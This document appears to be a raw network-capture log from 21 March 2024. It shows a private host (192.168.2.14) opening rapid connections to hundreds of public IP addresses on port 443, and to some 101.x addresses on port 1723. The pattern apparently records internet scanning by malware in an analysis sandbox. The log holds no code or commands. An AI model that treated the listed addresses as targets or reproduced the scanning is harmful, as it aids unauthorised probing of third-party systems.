Mar 21, 2024 05:21:09.922929049 CET	17297	443	192.168.2.14	212.16.30.113
Mar 21, 2024 05:21:09.922936916 CET	443	17297	178.45.208.214	192.168.2.14
Mar 21, 2024 05:21:09.922938108 CET	443	17297	178.245.124.49	192.168.2.14
Mar 21, 2024 05:21:09.922939062 CET	17297	443	192.168.2.14	178.204.161.43
Mar 21, 2024 05:21:09.922939062 CET	17297	443	192.168.2.14	37.255.160.236
Mar 21, 2024 05:21:09.922940969 CET	17304	1723	192.168.2.14	101.242.195.111
Mar 21, 2024 05:21:09.922940969 CET	17297	443	192.168.2.14	5.195.47.43
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	37.163.51.166
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	5.21.248.177
Mar 21, 2024 05:21:09.922947884 CET	443	17297	212.16.30.113	192.168.2.14
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	79.96.87.36
Mar 21, 2024 05:21:09.922949076 CET	443	17297	178.204.161.43	192.168.2.14
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	94.222.115.199
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	94.178.226.75
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	118.65.81.89
Mar 21, 2024 05:21:09.922945976 CET	17297	443	192.168.2.14	178.116.227.97
Mar 21, 2024 05:21:09.922951937 CET	443	17297	5.195.47.43	192.168.2.14
Mar 21, 2024 05:21:09.922954082 CET	17297	443	192.168.2.14	79.227.235.26
Mar 21, 2024 05:21:09.922960997 CET	443	17297	5.21.248.177	192.168.2.14
Mar 21, 2024 05:21:09.922961950 CET	443	17297	79.227.235.26	192.168.2.14
Mar 21, 2024 05:21:09.922961950 CET	443	17297	37.163.51.166	192.168.2.14
Mar 21, 2024 05:21:09.922962904 CET	443	17297	37.255.160.236	192.168.2.14
Mar 21, 2024 05:21:09.922965050 CET	443	17297	79.96.87.36	192.168.2.14
Mar 21, 2024 05:21:09.922966003 CET	17297	443	192.168.2.14	2.7.129.166
Mar 21, 2024 05:21:09.922971964 CET	443	17297	94.222.115.199	192.168.2.14
Mar 21, 2024 05:21:09.922972918 CET	443	17297	2.7.129.166	192.168.2.14
Mar 21, 2024 05:21:09.922976017 CET	443	17297	94.178.226.75	192.168.2.14
Mar 21, 2024 05:21:09.922980070 CET	80	17317	95.179.177.47	192.168.2.14
Mar 21, 2024 05:21:09.922981977 CET	443	17297	118.65.81.89	192.168.2.14
Mar 21, 2024 05:21:09.922982931 CET	443	17297	178.116.227.97	192.168.2.14
Mar 21, 2024 05:21:09.922986984 CET	17297	443	192.168.2.14	109.245.137.42
Mar 21, 2024 05:21:09.922991037 CET	17304	1723	192.168.2.14	101.76.46.68
Mar 21, 2024 05:21:09.922991037 CET	17297	443	192.168.2.14	94.150.108.103
Mar 21, 2024 05:21:09.922991037 CET	17297	443	192.168.2.14	79.84.185.135
Mar 21, 2024 05:21:09.922991037 CET	17297	443	192.168.2.14	210.170.241.203
Mar 21, 2024 05:21:09.922991037 CET	17304	1723	192.168.2.14	101.77.65.185
Mar 21, 2024 05:21:09.922991037 CET	17304	1723	192.168.2.14	101.129.134.62
Mar 21, 2024 05:21:09.922993898 CET	443	17297	109.245.137.42	192.168.2.14
Mar 21, 2024 05:21:09.923006058 CET	443	17297	94.150.108.103	192.168.2.14
Mar 21, 2024 05:21:09.923012972 CET	17297	443	192.168.2.14	212.252.195.102
Mar 21, 2024 05:21:09.923012972 CET	17297	443	192.168.2.14	5.195.47.43
Mar 21, 2024 05:21:09.923015118 CET	17297	443	192.168.2.14	212.116.192.75
Mar 21, 2024 05:21:09.923015118 CET	17297	443	192.168.2.14	94.35.22.18
Mar 21, 2024 05:21:09.923016071 CET	17297	443	192.168.2.14	79.96.87.36
Mar 21, 2024 05:21:09.923016071 CET	17297	443	192.168.2.14	178.245.124.49
Mar 21, 2024 05:21:09.923016071 CET	443	17297	79.84.185.135	192.168.2.14
Mar 21, 2024 05:21:09.923016071 CET	17297	443	192.168.2.14	212.16.30.113
Mar 21, 2024 05:21:09.923019886 CET	443	17297	212.116.192.75	192.168.2.14
Mar 21, 2024 05:21:09.923021078 CET	443	17297	212.252.195.102	192.168.2.14
Mar 21, 2024 05:21:09.923021078 CET	443	17297	94.35.22.18	192.168.2.14
Mar 21, 2024 05:21:09.923026085 CET	443	17297	210.170.241.203	192.168.2.14
Mar 21, 2024 05:21:09.923028946 CET	17297	443	192.168.2.14	5.199.108.153
Mar 21, 2024 05:21:09.923039913 CET	17297	443	192.168.2.14	212.81.82.119
Mar 21, 2024 05:21:09.923039913 CET	17297	443	192.168.2.14	178.203.161.238
Mar 21, 2024 05:21:09.923047066 CET	443	17297	178.203.161.238	192.168.2.14
Mar 21, 2024 05:21:09.923083067 CET	17297	443	192.168.2.14	37.87.80.236
Mar 21, 2024 05:21:09.923084974 CET	17297	443	192.168.2.14	42.117.188.89
Mar 21, 2024 05:21:09.923085928 CET	17297	443	192.168.2.14	37.214.72.225
Mar 21, 2024 05:21:09.923085928 CET	17297	443	192.168.2.14	210.141.104.147
Mar 21, 2024 05:21:09.923086882 CET	17297	443	192.168.2.14	178.45.208.214
Mar 21, 2024 05:21:09.923086882 CET	17297	443	192.168.2.14	2.7.129.166
Mar 21, 2024 05:21:09.923085928 CET	17297	443	192.168.2.14	178.204.161.43
Mar 21, 2024 05:21:09.923085928 CET	17297	443	192.168.2.14	37.255.160.236
Mar 21, 2024 05:21:09.923099995 CET	17297	443	192.168.2.14	212.252.195.102
Mar 21, 2024 05:21:09.923099995 CET	17297	443	192.168.2.14	79.227.235.26
Mar 21, 2024 05:21:09.923100948 CET	443	17297	210.141.104.147	192.168.2.14
Mar 21, 2024 05:21:09.923100948 CET	17297	443	192.168.2.14	5.21.248.177
Mar 21, 2024 05:21:09.923103094 CET	17297	443	192.168.2.14	37.163.51.166
Mar 21, 2024 05:21:09.923099995 CET	17304	1723	192.168.2.14	101.6.4.122
Mar 21, 2024 05:21:09.923103094 CET	17297	443	192.168.2.14	94.222.115.199
Mar 21, 2024 05:21:09.923103094 CET	17297	443	192.168.2.14	118.65.81.89
Mar 21, 2024 05:21:09.923103094 CET	17297	443	192.168.2.14	212.116.192.75
Mar 21, 2024 05:21:09.923103094 CET	17297	443	192.168.2.14	79.140.46.117
Mar 21, 2024 05:21:09.923110008 CET	17297	443	192.168.2.14	94.35.22.18
Mar 21, 2024 05:21:09.923113108 CET	17297	443	192.168.2.14	94.178.226.75
Mar 21, 2024 05:21:09.923115969 CET	443	17297	79.140.46.117	192.168.2.14
Mar 21, 2024 05:21:09.923158884 CET	17304	1723	192.168.2.14	101.98.206.118
Mar 21, 2024 05:21:09.923158884 CET	17304	1723	192.168.2.14	101.227.216.135
Mar 21, 2024 05:21:09.923158884 CET	17297	443	192.168.2.14	210.248.144.67
Mar 21, 2024 05:21:09.923161030 CET	17317	80	192.168.2.14	95.179.177.47
Mar 21, 2024 05:21:09.923161030 CET	17297	443	192.168.2.14	2.129.35.68
Mar 21, 2024 05:21:09.923161030 CET	17304	1723	192.168.2.14	101.129.33.18
Mar 21, 2024 05:21:09.923161030 CET	17297	443	192.168.2.14	109.245.137.42
Mar 21, 2024 05:21:09.923161983 CET	17297	443	192.168.2.14	178.116.227.97
Mar 21, 2024 05:21:09.923162937 CET	17297	443	192.168.2.14	178.203.161.238
Mar 21, 2024 05:21:09.923162937 CET	17297	443	192.168.2.14	178.13.237.134
Mar 21, 2024 05:21:09.923165083 CET	17297	443	192.168.2.14	94.150.108.103
Mar 21, 2024 05:21:09.923165083 CET	17297	443	192.168.2.14	210.170.241.203
Mar 21, 2024 05:21:09.923165083 CET	17297	443	192.168.2.14	79.84.185.135
Mar 21, 2024 05:21:09.923166990 CET	443	17297	2.129.35.68	192.168.2.14
Mar 21, 2024 05:21:09.923171997 CET	17297	443	192.168.2.14	118.130.197.169
Mar 21, 2024 05:21:09.923173904 CET	443	17297	178.13.237.134	192.168.2.14
Mar 21, 2024 05:21:09.923173904 CET	443	17297	210.248.144.67	192.168.2.14
Mar 21, 2024 05:21:09.923177958 CET	17297	443	192.168.2.14	2.213.99.253
Mar 21, 2024 05:21:09.923181057 CET	443	17297	118.130.197.169	192.168.2.14
Mar 21, 2024 05:21:09.923182011 CET	17304	1723	192.168.2.14	101.85.108.6
Mar 21, 2024 05:21:09.923182964 CET	17297	443	192.168.2.14	79.140.46.117
Mar 21, 2024 05:21:09.923183918 CET	443	17297	2.213.99.253	192.168.2.14
Mar 21, 2024 05:21:09.923190117 CET	17297	443	192.168.2.14	37.160.130.110
Mar 21, 2024 05:21:09.923190117 CET	17297	443	192.168.2.14	210.141.104.147
Mar 21, 2024 05:21:09.923197031 CET	443	17297	37.160.130.110	192.168.2.14
Mar 21, 2024 05:21:09.923218012 CET	17304	1723	192.168.2.14	101.98.14.252
Mar 21, 2024 05:21:09.923237085 CET	17297	443	192.168.2.14	212.96.109.188
Mar 21, 2024 05:21:09.923238993 CET	17297	443	192.168.2.14	118.56.203.128
Mar 21, 2024 05:21:09.923242092 CET	17297	443	192.168.2.14	42.48.29.8
Mar 21, 2024 05:21:09.923243999 CET	443	17297	118.56.203.128	192.168.2.14
Mar 21, 2024 05:21:09.923248053 CET	443	17297	42.48.29.8	192.168.2.14
Mar 21, 2024 05:21:09.923248053 CET	443	17297	212.96.109.188	192.168.2.14
Mar 21, 2024 05:21:09.923252106 CET	17297	443	192.168.2.14	37.160.130.110
Mar 21, 2024 05:21:09.923252106 CET	17297	443	192.168.2.14	94.158.146.25
Mar 21, 2024 05:21:09.923252106 CET	17297	443	192.168.2.14	94.23.126.129
Mar 21, 2024 05:21:09.923253059 CET	17297	443	192.168.2.14	37.97.226.28
Mar 21, 2024 05:21:09.923254013 CET	17297	443	192.168.2.14	118.130.197.169
Mar 21, 2024 05:21:09.923257113 CET	17297	443	192.168.2.14	79.126.122.54
Mar 21, 2024 05:21:09.923257113 CET	17297	443	192.168.2.14	2.129.35.68
Mar 21, 2024 05:21:09.923257113 CET	17297	443	192.168.2.14	2.213.99.253
Mar 21, 2024 05:21:09.923259020 CET	443	17297	37.97.226.28	192.168.2.14
Mar 21, 2024 05:21:09.923259020 CET	443	17297	94.158.146.25	192.168.2.14
Mar 21, 2024 05:21:09.923264980 CET	443	17297	79.126.122.54	192.168.2.14
Mar 21, 2024 05:21:09.923269033 CET	443	17297	94.23.126.129	192.168.2.14
Mar 21, 2024 05:21:09.923269987 CET	17297	443	192.168.2.14	210.248.144.67
Mar 21, 2024 05:21:09.923276901 CET	17297	443	192.168.2.14	178.13.237.134
Mar 21, 2024 05:21:09.923312902 CET	17297	443	192.168.2.14	2.57.188.100
Mar 21, 2024 05:21:09.923314095 CET	17297	443	192.168.2.14	210.132.212.27
Mar 21, 2024 05:21:09.923320055 CET	443	17297	210.132.212.27	192.168.2.14
Mar 21, 2024 05:21:09.923320055 CET	443	17297	2.57.188.100	192.168.2.14
Mar 21, 2024 05:21:09.923321009 CET	17297	443	192.168.2.14	118.144.186.5
Mar 21, 2024 05:21:09.923324108 CET	17297	443	192.168.2.14	37.30.200.188
Mar 21, 2024 05:21:09.923326969 CET	17297	443	192.168.2.14	37.97.226.28
Mar 21, 2024 05:21:09.923326969 CET	17297	443	192.168.2.14	2.165.16.210
Mar 21, 2024 05:21:09.923326969 CET	17297	443	192.168.2.14	79.126.122.54
Mar 21, 2024 05:21:09.923330069 CET	443	17297	118.144.186.5	192.168.2.14
Mar 21, 2024 05:21:09.923330069 CET	443	17297	37.30.200.188	192.168.2.14
Mar 21, 2024 05:21:09.923336983 CET	443	17297	2.165.16.210	192.168.2.14
Mar 21, 2024 05:21:09.923348904 CET	17297	443	192.168.2.14	212.96.109.188
Mar 21, 2024 05:21:09.923353910 CET	17297	443	192.168.2.14	94.23.126.129
Mar 21, 2024 05:21:09.923353910 CET	17297	443	192.168.2.14	94.158.146.25
Mar 21, 2024 05:21:09.923381090 CET	17297	443	192.168.2.14	118.56.203.128
Mar 21, 2024 05:21:09.923386097 CET	17297	443	192.168.2.14	2.165.16.210
Mar 21, 2024 05:21:09.923387051 CET	17297	443	192.168.2.14	212.2.174.148
Mar 21, 2024 05:21:09.923392057 CET	17297	443	192.168.2.14	42.111.30.0
Mar 21, 2024 05:21:09.923393011 CET	443	17297	212.2.174.148	192.168.2.14
Mar 21, 2024 05:21:09.923393011 CET	17297	443	192.168.2.14	42.48.29.8
Mar 21, 2024 05:21:09.923393011 CET	17297	443	192.168.2.14	37.30.200.188
Mar 21, 2024 05:21:09.923398972 CET	443	17297	42.111.30.0	192.168.2.14
Mar 21, 2024 05:21:09.923403978 CET	17297	443	192.168.2.14	118.144.186.5
Mar 21, 2024 05:21:09.923444033 CET	17297	443	192.168.2.14	210.132.212.27
Mar 21, 2024 05:21:09.923444033 CET	17297	443	192.168.2.14	2.57.188.100
Mar 21, 2024 05:21:09.923448086 CET	17297	443	192.168.2.14	212.108.186.123
Mar 21, 2024 05:21:09.923454046 CET	443	17297	212.108.186.123	192.168.2.14
Mar 21, 2024 05:21:09.923458099 CET	17297	443	192.168.2.14	79.124.136.29
Mar 21, 2024 05:21:09.923459053 CET	17297	443	192.168.2.14	42.111.30.0
Mar 21, 2024 05:21:09.923460007 CET	17297	443	192.168.2.14	118.73.16.64
Mar 21, 2024 05:21:09.923465014 CET	443	17297	118.73.16.64	192.168.2.14
Mar 21, 2024 05:21:09.923465014 CET	17297	443	192.168.2.14	42.123.221.41
Mar 21, 2024 05:21:09.923465014 CET	443	17297	79.124.136.29	192.168.2.14
Mar 21, 2024 05:21:09.923471928 CET	443	17297	42.123.221.41	192.168.2.14
Mar 21, 2024 05:21:09.923477888 CET	17297	443	192.168.2.14	5.148.242.7
Mar 21, 2024 05:21:09.923480034 CET	17297	443	192.168.2.14	212.2.174.148
Mar 21, 2024 05:21:09.923480034 CET	17297	443	192.168.2.14	118.183.15.40
Mar 21, 2024 05:21:09.923484087 CET	443	17297	5.148.242.7	192.168.2.14
Mar 21, 2024 05:21:09.923489094 CET	443	17297	118.183.15.40	192.168.2.14
Mar 21, 2024 05:21:09.923521042 CET	17297	443	192.168.2.14	79.132.201.101
Mar 21, 2024 05:21:09.923521042 CET	17297	443	192.168.2.14	118.73.16.64
Mar 21, 2024 05:21:09.923521996 CET	17297	443	192.168.2.14	79.124.136.29
Mar 21, 2024 05:21:09.923521996 CET	17297	443	192.168.2.14	37.57.104.133
Mar 21, 2024 05:21:09.923522949 CET	17297	443	192.168.2.14	2.243.239.211
Mar 21, 2024 05:21:09.923528910 CET	443	17297	79.132.201.101	192.168.2.14
Mar 21, 2024 05:21:09.923531055 CET	443	17297	2.243.239.211	192.168.2.14
Mar 21, 2024 05:21:09.923531055 CET	443	17297	37.57.104.133	192.168.2.14
Mar 21, 2024 05:21:09.923546076 CET	17297	443	192.168.2.14	5.148.242.7
Mar 21, 2024 05:21:09.923547983 CET	17297	443	192.168.2.14	212.113.45.9
Mar 21, 2024 05:21:09.923552990 CET	443	17297	212.113.45.9	192.168.2.14
Mar 21, 2024 05:21:09.923578024 CET	17297	443	192.168.2.14	5.232.173.195
Mar 21, 2024 05:21:09.923578024 CET	17297	443	192.168.2.14	42.123.221.41
Mar 21, 2024 05:21:09.923578024 CET	17297	443	192.168.2.14	5.123.196.131
Mar 21, 2024 05:21:09.923583984 CET	17297	443	192.168.2.14	212.108.186.123
Mar 21, 2024 05:21:09.923585892 CET	443	17297	5.232.173.195	192.168.2.14
Mar 21, 2024 05:21:09.923593998 CET	443	17297	5.123.196.131	192.168.2.14
Mar 21, 2024 05:21:09.923599005 CET	17297	443	192.168.2.14	37.237.177.215
Mar 21, 2024 05:21:09.923599005 CET	17297	443	192.168.2.14	118.151.250.179
Mar 21, 2024 05:21:09.923600912 CET	17297	443	192.168.2.14	2.243.239.211
Mar 21, 2024 05:21:09.923600912 CET	17297	443	192.168.2.14	79.132.201.101
Mar 21, 2024 05:21:09.923600912 CET	17297	443	192.168.2.14	118.183.15.40
Mar 21, 2024 05:21:09.923600912 CET	17297	443	192.168.2.14	94.159.33.43
Mar 21, 2024 05:21:09.923602104 CET	17297	443	192.168.2.14	37.57.104.133
Mar 21, 2024 05:21:09.923607111 CET	443	17297	37.237.177.215	192.168.2.14
Mar 21, 2024 05:21:09.923609972 CET	443	17297	94.159.33.43	192.168.2.14
Mar 21, 2024 05:21:09.923615932 CET	443	17297	118.151.250.179	192.168.2.14
Mar 21, 2024 05:21:09.923660994 CET	17297	443	192.168.2.14	210.149.66.21
Mar 21, 2024 05:21:09.923660994 CET	17297	443	192.168.2.14	5.57.126.229
Mar 21, 2024 05:21:09.923662901 CET	17297	443	192.168.2.14	178.235.146.86
Mar 21, 2024 05:21:09.923662901 CET	17297	443	192.168.2.14	109.97.73.208
Mar 21, 2024 05:21:09.923664093 CET	17297	443	192.168.2.14	212.113.45.9
Mar 21, 2024 05:21:09.923666954 CET	443	17297	210.149.66.21	192.168.2.14
Mar 21, 2024 05:21:09.923667908 CET	443	17297	5.57.126.229	192.168.2.14
Mar 21, 2024 05:21:09.923669100 CET	17297	443	192.168.2.14	178.56.83.244
Mar 21, 2024 05:21:09.923672915 CET	443	17297	178.235.146.86	192.168.2.14
Mar 21, 2024 05:21:09.923672915 CET	443	17297	109.97.73.208	192.168.2.14
Mar 21, 2024 05:21:09.923681021 CET	443	17297	178.56.83.244	192.168.2.14
Mar 21, 2024 05:21:09.923681021 CET	17297	443	192.168.2.14	37.237.177.215
Mar 21, 2024 05:21:09.923681021 CET	17297	443	192.168.2.14	118.151.250.179
Mar 21, 2024 05:21:09.923681974 CET	17297	443	192.168.2.14	37.87.171.255
Mar 21, 2024 05:21:09.923682928 CET	17297	443	192.168.2.14	210.213.119.4
Mar 21, 2024 05:21:09.923683882 CET	17297	443	192.168.2.14	5.226.199.138
Mar 21, 2024 05:21:09.923685074 CET	17297	443	192.168.2.14	94.159.33.43
Mar 21, 2024 05:21:09.923687935 CET	443	17297	37.87.171.255	192.168.2.14
Mar 21, 2024 05:21:09.923688889 CET	443	17297	210.213.119.4	192.168.2.14
Mar 21, 2024 05:21:09.923690081 CET	443	17297	5.226.199.138	192.168.2.14
Mar 21, 2024 05:21:09.923693895 CET	17297	443	192.168.2.14	79.33.100.147
Mar 21, 2024 05:21:09.923693895 CET	17297	443	192.168.2.14	2.239.78.0
Mar 21, 2024 05:21:09.923693895 CET	17297	443	192.168.2.14	2.149.215.26
Mar 21, 2024 05:21:09.923701048 CET	17297	443	192.168.2.14	5.232.173.195
Mar 21, 2024 05:21:09.923701048 CET	17297	443	192.168.2.14	5.123.196.131
Mar 21, 2024 05:21:09.923701048 CET	17297	443	192.168.2.14	37.148.177.100
Mar 21, 2024 05:21:09.923701048 CET	17297	443	192.168.2.14	2.165.241.16
Mar 21, 2024 05:21:09.923701048 CET	17297	443	192.168.2.14	79.117.132.107
Mar 21, 2024 05:21:09.923702955 CET	443	17297	79.33.100.147	192.168.2.14
Mar 21, 2024 05:21:09.923702955 CET	17297	443	192.168.2.14	178.50.32.222
Mar 21, 2024 05:21:09.923702955 CET	17297	443	192.168.2.14	42.176.213.65
Mar 21, 2024 05:21:09.923702955 CET	17297	443	192.168.2.14	42.159.156.226
Mar 21, 2024 05:21:09.923702955 CET	17297	443	192.168.2.14	178.56.184.98
Mar 21, 2024 05:21:09.923702955 CET	17297	443	192.168.2.14	94.133.94.38
Mar 21, 2024 05:21:09.923708916 CET	443	17297	178.50.32.222	192.168.2.14
Mar 21, 2024 05:21:09.923711061 CET	443	17297	42.176.213.65	192.168.2.14
Mar 21, 2024 05:21:09.923711061 CET	443	17297	2.239.78.0	192.168.2.14
Mar 21, 2024 05:21:09.923715115 CET	443	17297	42.159.156.226	192.168.2.14
Mar 21, 2024 05:21:09.923716068 CET	17297	443	192.168.2.14	178.235.146.86
Mar 21, 2024 05:21:09.923716068 CET	17297	443	192.168.2.14	109.97.73.208
Mar 21, 2024 05:21:09.923717022 CET	443	17297	2.165.241.16	192.168.2.14
Mar 21, 2024 05:21:09.923717022 CET	443	17297	37.148.177.100	192.168.2.14
Mar 21, 2024 05:21:09.923717976 CET	443	17297	2.149.215.26	192.168.2.14
Mar 21, 2024 05:21:09.923722029 CET	443	17297	178.56.184.98	192.168.2.14
Mar 21, 2024 05:21:09.923722982 CET	17297	443	192.168.2.14	212.5.8.89
Mar 21, 2024 05:21:09.923724890 CET	17297	443	192.168.2.14	79.94.201.156
Mar 21, 2024 05:21:09.923724890 CET	17297	443	192.168.2.14	5.57.126.229
Mar 21, 2024 05:21:09.923724890 CET	17297	443	192.168.2.14	37.87.171.255
Mar 21, 2024 05:21:09.923727036 CET	443	17297	79.117.132.107	192.168.2.14
Mar 21, 2024 05:21:09.923728943 CET	443	17297	212.5.8.89	192.168.2.14
Mar 21, 2024 05:21:09.923732042 CET	443	17297	94.133.94.38	192.168.2.14
Mar 21, 2024 05:21:09.923733950 CET	443	17297	79.94.201.156	192.168.2.14
Mar 21, 2024 05:21:09.923737049 CET	17297	443	192.168.2.14	210.149.66.21
Mar 21, 2024 05:21:09.923737049 CET	17297	443	192.168.2.14	210.213.119.4
Mar 21, 2024 05:21:09.923738956 CET	17297	443	192.168.2.14	178.56.83.244
Mar 21, 2024 05:21:09.923751116 CET	17297	443	192.168.2.14	5.226.199.138
Mar 21, 2024 05:21:09.923757076 CET	17297	443	192.168.2.14	79.33.100.147
Mar 21, 2024 05:21:09.923767090 CET	17297	443	192.168.2.14	42.159.156.226
Mar 21, 2024 05:21:09.923767090 CET	17297	443	192.168.2.14	178.56.184.98
Mar 21, 2024 05:21:09.923768997 CET	17297	443	192.168.2.14	42.176.213.65
Mar 21, 2024 05:21:09.923769951 CET	17297	443	192.168.2.14	178.50.32.222
Mar 21, 2024 05:21:09.923768997 CET	17297	443	192.168.2.14	2.165.241.16
Mar 21, 2024 05:21:09.923774004 CET	17297	443	192.168.2.14	94.133.94.38
Mar 21, 2024 05:21:09.923778057 CET	17297	443	192.168.2.14	37.148.177.100
Mar 21, 2024 05:21:09.923779964 CET	17297	443	192.168.2.14	212.5.8.89
Mar 21, 2024 05:21:09.923788071 CET	17297	443	192.168.2.14	79.94.201.156
Mar 21, 2024 05:21:09.923788071 CET	17297	443	192.168.2.14	79.117.132.107
Mar 21, 2024 05:21:09.923796892 CET	17297	443	192.168.2.14	210.29.153.4
Mar 21, 2024 05:21:09.923798084 CET	17297	443	192.168.2.14	2.239.78.0
Mar 21, 2024 05:21:09.923798084 CET	17297	443	192.168.2.14	2.149.215.26
Mar 21, 2024 05:21:09.923801899 CET	443	17297	210.29.153.4	192.168.2.14
Mar 21, 2024 05:21:09.923904896 CET	17297	443	192.168.2.14	37.121.232.21
Mar 21, 2024 05:21:09.923906088 CET	17297	443	192.168.2.14	210.171.66.156
Mar 21, 2024 05:21:09.923906088 CET	17297	443	192.168.2.14	118.144.172.214
Mar 21, 2024 05:21:09.923911095 CET	443	17297	37.121.232.21	192.168.2.14
Mar 21, 2024 05:21:09.923913956 CET	443	17297	210.171.66.156	192.168.2.14
Mar 21, 2024 05:21:09.923922062 CET	443	17297	118.144.172.214	192.168.2.14
Mar 21, 2024 05:21:09.924170971 CET	17297	443	192.168.2.14	210.29.153.4
Mar 21, 2024 05:21:09.924202919 CET	17297	443	192.168.2.14	118.144.172.214
Mar 21, 2024 05:21:09.924273014 CET	17297	443	192.168.2.14	37.121.232.21
Mar 21, 2024 05:21:09.924273968 CET	17297	443	192.168.2.14	210.171.66.156
Mar 21, 2024 05:21:09.924282074 CET	17297	443	192.168.2.14	210.129.234.70
Mar 21, 2024 05:21:09.924288034 CET	17297	443	192.168.2.14	109.244.154.203
Mar 21, 2024 05:21:09.924288988 CET	443	17297	210.129.234.70	192.168.2.14
Mar 21, 2024 05:21:09.924290895 CET	17297	443	192.168.2.14	212.166.238.29
Mar 21, 2024 05:21:09.924293041 CET	17297	443	192.168.2.14	118.186.127.155
Mar 21, 2024 05:21:09.924294949 CET	443	17297	109.244.154.203	192.168.2.14
Mar 21, 2024 05:21:09.924295902 CET	17297	443	192.168.2.14	42.253.99.135
Mar 21, 2024 05:21:09.924298048 CET	443	17297	212.166.238.29	192.168.2.14
Mar 21, 2024 05:21:09.924298048 CET	17297	443	192.168.2.14	178.44.71.176
Mar 21, 2024 05:21:09.924298048 CET	17297	443	192.168.2.14	2.254.83.122
Mar 21, 2024 05:21:09.924298048 CET	17297	443	192.168.2.14	37.45.230.129
Mar 21, 2024 05:21:09.924300909 CET	443	17297	118.186.127.155	192.168.2.14
Mar 21, 2024 05:21:09.924302101 CET	443	17297	42.253.99.135	192.168.2.14
Mar 21, 2024 05:21:09.924298048 CET	17297	443	192.168.2.14	5.45.60.129
Mar 21, 2024 05:21:09.924308062 CET	443	17297	178.44.71.176	192.168.2.14
Mar 21, 2024 05:21:09.924313068 CET	17297	443	192.168.2.14	2.252.191.115
Mar 21, 2024 05:21:09.924316883 CET	443	17297	37.45.230.129	192.168.2.14
Mar 21, 2024 05:21:09.924319029 CET	443	17297	2.254.83.122	192.168.2.14
Mar 21, 2024 05:21:09.924319029 CET	443	17297	2.252.191.115	192.168.2.14
Mar 21, 2024 05:21:09.924323082 CET	17297	443	192.168.2.14	94.95.143.251
Mar 21, 2024 05:21:09.924331903 CET	443	17297	94.95.143.251	192.168.2.14
Mar 21, 2024 05:21:09.924329996 CET	17297	443	192.168.2.14	2.91.114.84
Mar 21, 2024 05:21:09.924331903 CET	443	17297	5.45.60.129	192.168.2.14
Mar 21, 2024 05:21:09.924329996 CET	17297	443	192.168.2.14	42.70.146.7
Mar 21, 2024 05:21:09.924329996 CET	17297	443	192.168.2.14	2.193.210.133
Mar 21, 2024 05:21:09.924339056 CET	17297	443	192.168.2.14	94.112.66.130
Mar 21, 2024 05:21:09.924339056 CET	17297	443	192.168.2.14	42.30.107.202
Mar 21, 2024 05:21:09.924340963 CET	443	17297	2.91.114.84	192.168.2.14
Mar 21, 2024 05:21:09.924345016 CET	443	17297	94.112.66.130	192.168.2.14
Mar 21, 2024 05:21:09.924349070 CET	443	17297	42.70.146.7	192.168.2.14
Mar 21, 2024 05:21:09.924349070 CET	17297	443	192.168.2.14	109.244.154.203
Mar 21, 2024 05:21:09.924349070 CET	17297	443	192.168.2.14	42.226.69.90
Mar 21, 2024 05:21:09.924354076 CET	443	17297	42.30.107.202	192.168.2.14
Mar 21, 2024 05:21:09.924356937 CET	443	17297	2.193.210.133	192.168.2.14
Mar 21, 2024 05:21:09.924356937 CET	17297	443	192.168.2.14	212.166.238.29
Mar 21, 2024 05:21:09.924357891 CET	17297	443	192.168.2.14	210.129.234.70
Mar 21, 2024 05:21:09.924357891 CET	17297	443	192.168.2.14	94.7.208.165
Mar 21, 2024 05:21:09.924359083 CET	443	17297	42.226.69.90	192.168.2.14
Mar 21, 2024 05:21:09.924357891 CET	17297	443	192.168.2.14	118.186.127.155
Mar 21, 2024 05:21:09.924359083 CET	17297	443	192.168.2.14	5.62.53.148
Mar 21, 2024 05:21:09.924359083 CET	17297	443	192.168.2.14	42.253.99.135
Mar 21, 2024 05:21:09.924366951 CET	443	17297	94.7.208.165	192.168.2.14
Mar 21, 2024 05:21:09.924369097 CET	17297	443	192.168.2.14	2.167.119.250
Mar 21, 2024 05:21:09.924370050 CET	443	17297	5.62.53.148	192.168.2.14
Mar 21, 2024 05:21:09.924370050 CET	17297	443	192.168.2.14	109.231.162.158
Mar 21, 2024 05:21:09.924370050 CET	17297	443	192.168.2.14	178.45.180.179
Mar 21, 2024 05:21:09.924370050 CET	17297	443	192.168.2.14	2.252.191.115
Mar 21, 2024 05:21:09.924371004 CET	17297	443	192.168.2.14	37.247.6.120
Mar 21, 2024 05:21:09.924376965 CET	443	17297	2.167.119.250	192.168.2.14
Mar 21, 2024 05:21:09.924377918 CET	443	17297	37.247.6.120	192.168.2.14
Mar 21, 2024 05:21:09.924379110 CET	443	17297	109.231.162.158	192.168.2.14
Mar 21, 2024 05:21:09.924382925 CET	17297	443	192.168.2.14	178.44.71.176
Mar 21, 2024 05:21:09.924382925 CET	17297	443	192.168.2.14	37.45.230.129
Mar 21, 2024 05:21:09.924382925 CET	17297	443	192.168.2.14	42.70.146.7
Mar 21, 2024 05:21:09.924385071 CET	443	17297	178.45.180.179	192.168.2.14
Mar 21, 2024 05:21:09.924386024 CET	17297	443	192.168.2.14	94.95.143.251
Mar 21, 2024 05:21:09.924386978 CET	17297	443	192.168.2.14	2.139.135.133
Mar 21, 2024 05:21:09.924392939 CET	443	17297	2.139.135.133	192.168.2.14
Mar 21, 2024 05:21:09.924392939 CET	17297	443	192.168.2.14	2.91.114.84
Mar 21, 2024 05:21:09.924403906 CET	17297	443	192.168.2.14	94.112.66.130
Mar 21, 2024 05:21:09.924405098 CET	17297	443	192.168.2.14	2.193.210.133
Mar 21, 2024 05:21:09.924408913 CET	17297	443	192.168.2.14	5.62.53.148
Mar 21, 2024 05:21:09.924412012 CET	17297	443	192.168.2.14	2.254.83.122
Mar 21, 2024 05:21:09.924412012 CET	17297	443	192.168.2.14	5.45.60.129
Mar 21, 2024 05:21:09.924412966 CET	17297	443	192.168.2.14	42.30.107.202
Mar 21, 2024 05:21:09.924417973 CET	17297	443	192.168.2.14	94.7.208.165
Mar 21, 2024 05:21:09.924434900 CET	17297	443	192.168.2.14	42.226.69.90
Mar 21, 2024 05:21:09.924436092 CET	17297	443	192.168.2.14	109.231.162.158
Mar 21, 2024 05:21:09.924451113 CET	17297	443	192.168.2.14	178.45.180.179
Mar 21, 2024 05:21:09.924452066 CET	17297	443	192.168.2.14	2.139.135.133
